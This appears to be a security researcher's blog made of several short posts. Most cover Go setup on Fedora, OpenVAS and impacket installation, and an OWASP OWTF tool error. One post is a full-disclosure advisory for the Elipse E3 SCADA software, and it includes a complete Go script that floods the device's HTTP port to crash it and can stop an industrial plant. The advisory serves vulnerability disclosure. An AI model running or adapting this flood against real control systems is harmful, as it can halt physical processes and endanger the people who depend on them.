Solucionando problemas com “go get” para import packages de terceiros

Você está contente e feliz com golang e sabe que há outros “imports” de outros desenvolvedores/terceiros que podem ser interessantes para seu projeto.

Então quando você tentar importar esse côdigo para seu projeto, por exemplo:

# go get github.com/astaxie/beego

Dá um erro, falando que está faltando o comando para obter o repositório de source code, no caso, para este projeto Beego, que usaram o Git:

[root@localhost github.com]# go get github.com/astaxie/beego
go: missing Git command. See http://golang.org/s/gogetcmd
package github.com/astaxie/beego: exec: “git”: executable file not found in $PATH

Então para resolvermos este problemas e outros similares, devemos instalar o git, mas já vamos instalar outras comandos de outros projetos de repositórios de source codes, pois a experiência que já tive anteriormente é que estes são os mais usados (no caso do fedora, será como o comando abaixo, mas em outras distros, deve-se verificar antes como fazer):

yum install git mercurial subversion bzr -y

Geralmente ao clonar o código de uma área remota (ex: github) para um área local (seu filesystem), todo código clonado irá para este path:

/usr/lib64/golang/src/
/usr/lib64/golang/pkg/linux_amd64/

Sendo criado os paths acima + github.com/astaxie/beego baseado em go get github.com/astaxie/beego

Por exemplo:

/usr/lib64/golang/src/github.com/astaxie/beego
/usr/lib64/golang/pkg/linux_amd64/github.com/astaxie/beego

Agora funciona!

@firebitsbr

Setar variável persistente do $GOPATH no Fedora 20

É sempre chato ter que setar a variável de ambiente ($GOPATH) para trabalhar com Golang, no Fedora 20 a cada vez que se abre um shell.

Então para tornar essa variável persistente (export GOPATH=/usr/lib64/golang), é só setar nos arquivos:

.bashrc
.bash_profile

Exemplo abaixo:

[root@localhost test]# cat .bashrc
# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

# Uncomment the following line if you don’t like systemctl’s auto-paging feature:
# export SYSTEMD_PAGER=

# User specific aliases and functions

export GOPATH=/usr/lib64/golang

[root@localhost test]# cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/.local/bin:$HOME/bin

export PATH

export GOPATH=/usr/lib64/golang

Fechar todos os terminais (no caso de estar usando X11) ou efetuar logoff em caso de um server sem X11.

Depois, para testar é só digitar no shell:

[root@localhost test]# $GOPATH
bash: /usr/lib64/golang: Is a directory

se retornar “Is a directory” está setado corretamente.

@firebitsbr

OpenVAS7 for OpenSUSE13.1.x x86_64 via OBS

OpenVAS for openSUSE via OBS

Step 1: Configure OBS Repository
(as user root, only once, you can replace “13.1.x” with other release names)

zypper ar -f  http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v7/openSUSE_13.1/ openvas

Step 2: Quick-Install OpenVAS
(as user root, only once)

zypper ref && zypper in -t pattern openvas

Step 3: Quick-Start OpenVAS
(as user root, only once, during first time you will be asked to set a password for user “admin”)

openvas-setup

Step 4: Log into OpenVAS as “admin”

Open https://localhost:9392/.

OBS: Modificado da fonte, apenas para atualizar a release do OpenSuSE 13.1.x x86_64

fonte:http://openvas.org/install-packages-v6.html#openvas_opensuse_obs

@firebitsbr

VSLA Security Advisory FIRE-SCADA-DOS-2013-001- Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC.

http://seclists.org/fulldisclosure/2014/Jul/69

Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC. From: Mauro Risonho de Paula Assumpção
Date: Tue, 15 Jul 2014 12:18:35 -0300

VSLA Security Advisory FIRE-SCADA-DOS-2013-001:
Http DoS Requests Flooding Crash Device Vulnerabilities Elipse E3 Scada PLC.

LEVEL: EXTREME
In our tests authorized by the customer, we can stop the entire plant.

Published: 10/29/2013
Version: 1.0

Vendor: Elipse (http://www.elipse.com.br/port/index.aspx)
Product: Elipse E3 (http://www.elipse.com.br/port/e3.aspx)
Version affected: 3.x and prior

Product description:
Elipse E3 is a proprietary software.
The E3 is a system of supervision and control processes designed to meet
the current requirements of connectivity, flexibility and reliability,
making it ideal for use in critical systems (SCADA PLC).

Credit: Mauro Risonho de Paula Assumpção aka firebits

Finding 1: Http DoS Requests Flooding Crash Device Vulnerabilities by
‘index.html’ page.
CVE: CVE-2011-4899

Proof of Concept:
Exploit:

// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// mauro.risonho () gmail com
// 29-10-2013 11:42
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// Exploit Devel in Fedora:
// sudo yum install golang -y
// go run Http-DoS-Request-SCADA-ATTACK-rev1.go

// Exploit Http-DoS-Request-SCADA-ATTACK-rev1.go
package main

import (
“fmt”
“io/ioutil”
“log”
“net/http”
)

func main() {
count := 1
// fmt.Println (“”)
// fmt.Println (” _____.__ ___. .__ __ “)
// fmt.Println (” _/ ____\__|______ ____\_ |__ |__|/ |_ ______ “)
// fmt.Println (” \ __\| \_ __ \_/ __ \| __ \| \ __\/ ___/ “)
// fmt.Println (” | | | || | \/\ ___/| \_\ \ || | \___ \ “)
// fmt.Println (” |__| |__||__| \___ >___ /__||__| /____ > “)
// fmt.Println (” \/ \/ \/ “)
// fmt.Println (” bits on fire. “)
fmt.Println (“Exploit Http DoS Request for SCADA ATTACK Elipse 3″)
fmt.Println (“Mauro Risonho de Paula Assumpção aka firebits”)
fmt.Println (“29-10-2013 11:42″)
fmt.Println (“mauro.risonho () gmail com”)
fmt.Println (“Hard lock Dll crash in Windows 2003 SP2 + “)
fmt.Println (“20 requests connections per second”)

for {
count += count
//set ip http://192.168.0.1:1681/index.html ->
// Elipse 3 http://

fmt.Println (“Exploit Http DoS Request for SCADA ATTACK Elipse 3″)
fmt.Println (“Mauro Risonho de Paula Assumpção aka firebits”)
fmt.Println (“29-10-2013 11:42″)
fmt.Println (“mauro.risonho () gmail com”)
fmt.Println (“Hard lock Dll crash in Windows 2003 SP2 + “)
fmt.Println (“20 requests connections”)

fmt.Println (“Connected Port 1681…Testing”)
fmt.Println (“Counter Loops: “, count)

res, err := http.Get(“http://192.168.0.1:1681/index.html”;)
if err != nil {
log.Fatal(err)
}
robots, err := ioutil.ReadAll(res.Body)
res.Body.Close()
if err != nil {
log.Fatal(err)
}
fmt.Printf(“%s”, robots)
}
}

Crash 20 Requests Paralels

Vendor Response:
Due to the fact that the component in question is an installation script,
the vendor has stated that the attack surface is too small to warrant
a fix:

“We would be possible for us to communicate the details of the test, so
we can arrange a hotfix.”

VSLA Virtual Security Labs Anywhere recommends installing the hotfix,
hardware/software to be putting in a production environment.

Remediation Steps:
No official fix for these issues will be released for the Elipse.
However, administrators can mitigate these issues defining rules within
a web application firewall (WAF) solution.

Vendor Communication Timeline:
10/24/2013 – Vulnerability disclosed
10/29/2013 – Confirmation to release vulnerabilities
? – Advisory published

References
1. http://www.elipse.com.br/port/e3.aspx

About VSLA Virtual Security Labs Anywhere:
VSLA Virtual Security Labs Anywhere is a research blog on security
the information.
firebitsbr.wordpress.com

Disclaimer:
The information provided in this advisory is provided “as is” without
warranty of any kind. VSLA Virtual Security Labs Anywhere disclaims all
warranties, either express or implied, including the warranties of
merchantability and fitness for a particular purpose. In no event shall
VSLA Virtual Security Labs Anywhere or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
VSLA Virtual Security Labs Anywhere or its suppliers have been advised
of the possibility of such damages. Some states do not allow the
exclusion or limitation of liability for consequential or incidental
damages so the foregoing limitation may not apply.

@firebitsbr

impacket – debian 7 netinstall

Erro:

python /usr/local/bin/rdp_check.py <ip>
Traceback (most recent call last):
File “/usr/local/bin/rdp_check.py”, line 23, in <module>
from impacket.spnego import *
ImportError: No module named spnego

Instalar os packages:
easy_install urllib2_kerberos
easy_install httpie-negotiate
easy_install pyOpenSSL

Executar
python /usr/local/bin/rdp_check.py <ip>
Impacket v0.9.11 – Copyright 2002-2014 Core Security Technologies

[*] Access Granted

@firebitsbr

OWASP OWTF Version: 0.45.0, Release: Winter Blizzard + Kali = Error hoppy-1.8.1

Olá.

Venho participando do projeto OWASP OWTF e achando vários bugs e issues e sugerindo novas features.

Em outro post, vou falar mais sobre esse framework OWASP OWTF, mas por enquanto:

python owtf.py http://www.xxx.com

__ ___
/\ \__ /’___\
___ __ __ _\ \ ,_\/\ \__/
/ __`\/\ \/\ \/\ \ \ \/\ \ ,__\
/\ \_\ \ \ \_/ \_/ \ \ \_\ \ \_/
\ \____/\ \___x___/’\ \__\\ \_\
\/___/ \/__//__/ \/__/ \/_/

OWTF Version: 0.45.0, Release: Winter Blizzard

[*] Loading framework please wait..
[*] Loading Config from: /root/owtf/profiles/general/default.cfg ..
[*] Loading Resources from: /root/owtf/profiles/resources/default.cfg ..
[*] Loading net Plugin Order from: /root/owtf/profiles/net_plugin_order/default.cfg ..
[*] Loading web Plugin Order from: /root/owtf/profiles/web_plugin_order/default.cfg ..
[*] The IP address for http://www.xxx.com is: ‘x.x.x.x’
[*] The IP address for http://www.xxx.com is: ‘x.x.x.x’
[*] WARNING: Tool path not found for: /root/owtf/tools/restricted/hoppy-1.8.1/hoppy-1.8.1
[*]
[*] WARNING!!!: 1 tools could not be found. Some suggestions:
[*] – Define where your tools are here: /root/owtf/profiles/general/default.cfg
Continue anyway? [Y/n]

============================================================

Sugestion:

cd /root/owtf/tools/restricted/hoppy-1.8.1/hoppy-1.8.1

wget –no-check-certificate http://labs.portcullis.co.uk/download/hoppy-1.8.1.tar.bz2; bunzip2 *; tar xvf *; rm -f *.tar 2> /dev/null

============================================================

Error:

wget http://labs.portcullis.co.uk/download/hoppy-1.8.1.tar.bz2; bunzip2 *; tar xvf *; rm -f *.tar 2> /dev/null
–2014-06-03 18:09:52– http://labs.portcullis.co.uk/download/hoppy-1.8.1.tar.bz2
Resolving labs.portcullis.co.uk (labs.portcullis.co.uk)… 77.75.105.66
Connecting to labs.portcullis.co.uk (labs.portcullis.co.uk)|77.75.105.66|:80… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: https://labs.portcullis.co.uk/download/hoppy-1.8.1.tar.bz2 [following]
–2014-06-03 18:09:53– https://labs.portcullis.co.uk/download/hoppy-1.8.1.tar.bz2
Connecting to labs.portcullis.co.uk (labs.portcullis.co.uk)|77.75.105.66|:443… connected.
ERROR: The certificate of `labs.portcullis.co.uk’ is not trusted.
bunzip2: Can’t open input file *: No such file or directory.
tar: *: Cannot open: No such file or directory

@firebitsbr